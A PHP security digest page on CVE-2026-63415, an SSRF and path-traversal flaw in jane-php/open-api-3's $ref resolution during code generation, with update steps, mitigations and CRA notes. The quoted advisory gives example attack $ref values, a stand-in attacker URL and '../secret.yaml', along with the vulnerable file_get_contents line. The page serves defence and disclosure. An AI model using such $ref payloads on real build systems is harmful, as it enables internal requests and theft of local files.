PatchClock

PHP security digest · 20 Nov 2026

Jane: $ref resolution performs SSRF + LFI (path traversal) at code-generation time (jane-php)

High CVE-2026-63415

Package
jane-php/open-api-3
Fixed in
7.12.0
Published
Fri 20 Nov 2026, 00:07 LisbonUpdated Sat 21 Nov 2026, 00:45 Lisbon
Installs on Packagist
2M

In plain words

An attacker who can influence an OpenAPI document used by Jane to generate PHP can make the generator send HTTP requests to attacker-chosen URLs, including internal services and cloud metadata. They can also cause it to read arbitrary local JSON/YAML files and include fetched content in the generated output. This happens during code generation, including builds and CI, rather than when the generated application runs.

Affected versions

PackageAffectedFixed in
jane-php/open-api-3< 7.12.07.12.0

How serious is it?

High is a CVSS score of 7.0 to 8.9: serious impact with few preconditions. Plan the update within days, ahead of feature work, and check the logs for signs it was tried.

jane-php/open-api-3 has 2M installs on Packagist, so the advisory reaches a large number of projects: expect scanners to look for it soon.

Am I affected?

Look for jane-php/open-api-3 in composer.lock and check whether its version is below 7.12.0; 7.12.0 is fixed. If affected, check whether your code-generation or build/CI process uses OpenAPI documents that an attacker can influence, including their external $ref targets.

Did you install jane-php/open-api-3, or did a dependency?

Composer says why a package is in your project:

composer why jane-php/open-api-3

If the output names your own project, you required jane-php/open-api-3 directly and the update is yours to make. If it names another package, jane-php/open-api-3 came in through it, and that package's version constraint decides which release you can install. To see what stands between you and the fix, ask Composer directly:

composer why-not jane-php/open-api-3 7.12.0

Every line it prints is a constraint that blocks 7.12.0. Update the package it names, or raise your own constraint, and run it again until it prints nothing.

What to do

Check which version you have, then update to a fixed release for your branch (7.12.0):

composer show jane-php/open-api-3 | grep versions
composer update jane-php/open-api-3

If your version constraint in composer.json keeps you below a fixed release, raise it first. Whether your configuration is affected, and the exact version ranges, are in the advisory itself.

If you cannot update yet

Disable remote $ref fetching by default or use an allow-list. Confine local $ref targets to the specification directory, rejecting absolute paths and parent-directory traversal. Do not use file_get_contents($ref) on attacker-controlled URIs.

Check the whole project at once

Composer 2.4 and later can list every installed package with a known advisory, this one included once Packagist has it:

composer audit --locked

--locked reads composer.lock instead of the vendor folder, so you can run it on a release tag or in CI without installing anything. It exits with a non-zero code when it finds an advisory, which is enough to fail a build. Run it on every branch you still support, not only the newest: an older release your customers run is affected in the same way.

Under the Cyber Resilience Act

CRA Article 14 timeline: aware of exploitation at hour 0, early warning within 24 hours, notification within 72 hours, final report within 14 days after the fix.

No exploitation of this vulnerability is known, so on its own it does not start the Article 14 reporting clock, which covers actively exploited vulnerabilities. That changes if you learn it is being exploited through your product: then the 24-hour early warning applies.

Either way, if jane-php/open-api-3 ships inside a product you sell, the CRA treats its vulnerabilities as yours. Article 13(5) asks for due diligence on the components you include, and from 11 December 2027 Annex I asks you to ship security fixes without delay and free of charge for the support period you declared. A short note in your changelog saying which release updated jane-php/open-api-3, and why, is the evidence you will want later.

What goes in each Article 14 report · Does the CRA apply to your product?

jane-php/open-api-3's record

This is one of 4 advisories for jane-php/open-api-3 in the digest, the first published on 19 November 2026. A package with several advisories is not worse than one with none, which often just means nobody looked; it does tell you to keep it on your update list and to run composer audit after each update.

Other advisories for jane-php/open-api-3

  • CVE-2026-63412 · 19 Nov 2026 · Critical · fixed in 7.12.0 Jane: Instantiation RCE via query parameter name -> raw PHPDoc */ breakout (jane-php/open-api-3)
  • CVE-2026-63413 · 19 Nov 2026 · Critical · fixed in 7.12.0 Jane: Instantiation RCE via header parameter name -> raw PHPDoc */ breakout (jane-php/open-api-3)
  • CVE-2026-63411 · 19 Nov 2026 · Critical · fixed in 7.12.0 Jane: Instantiation RCE via parameter description -> raw PHPDoc */ breakout (jane-php/open-api-3)

The advisory's description

Summary

jane-php resolves external $ref targets at code-generation time via file_get_contents($ref) (jane-php/json-schema-runtime/Reference.php::doResolve) with no scheme/path restriction. An attacker-controlled OpenAPI document can therefore cause: $ref: 'http://attacker/x' -> SSRF (HTTP GET at gen time; response inlined = RFI); $ref: '/abs/file' -> LFI; $ref: '../secret.yaml' -> path-traversal LFI (CWE-22, arbitrary local JSON/YAML read). Verified 7.11.2/PHP8.1 (listener records the fetch; remote + ../ local content inlined into the generated code). file:// rejected. CWE-918/CWE-98/CWE-611/CWE-22.

Details

// Reference.php::doResolve()
$contents = file_get_contents($fragment); // $fragment = attacker-controlled $ref URI

Impact

Generating PHP with jane from an attacker-influenced OpenAPI document issues HTTP requests to attacker-chosen URLs (SSRF — internal services, cloud metadata) and reads arbitrary local files (LFI via ../), at build/CI time, inlining results into the output.

PoC

reproduce.sh (+ make_spec.py, gen.php): runs jane on a remote-$ref spec (local listener records the SSRF, output checked for the inlined response) and a ../-traversal local-$ref spec (output checked for the leaked file).

Suggested fix

Disable remote $ref fetching by default (or allow-list); confine local $ref to the spec directory (reject absolute paths and ..). Don't file_get_contents($ref) on attacker-controlled URIs.

maintainer-report.txt reproduce.sh gen.php make_spec.py

Weakness: CWE-22 Improper Limitation of a Pathname to a Restricted Directory; CWE-98 Improper Control of Filename for Include/Require Statement in PHP Program; CWE-611 Improper Restriction of XML External Entity Reference; CWE-918 Server-Side Request Forgery. Reported by Gal3m, mrostamipoor.

CWE-22. Path traversal: a file name from the request, with ../ in it, reads or writes files outside the folder the code meant.

CWE-918. Server-side request forgery: the server fetches a URL the attacker chooses, which can reach internal services and cloud metadata.

The advisory

From OSV.dev, which gathers the GitHub Advisory Database, FriendsOfPHP and Drupal security advisories; the summary is theirs. The description, affected versions, weakness and credits are from the GitHub Advisory Database (CC BY 4.0). "In plain words", "Am I affected?" and "If you cannot update yet" are based on that advisory, and checked to name no version it does not.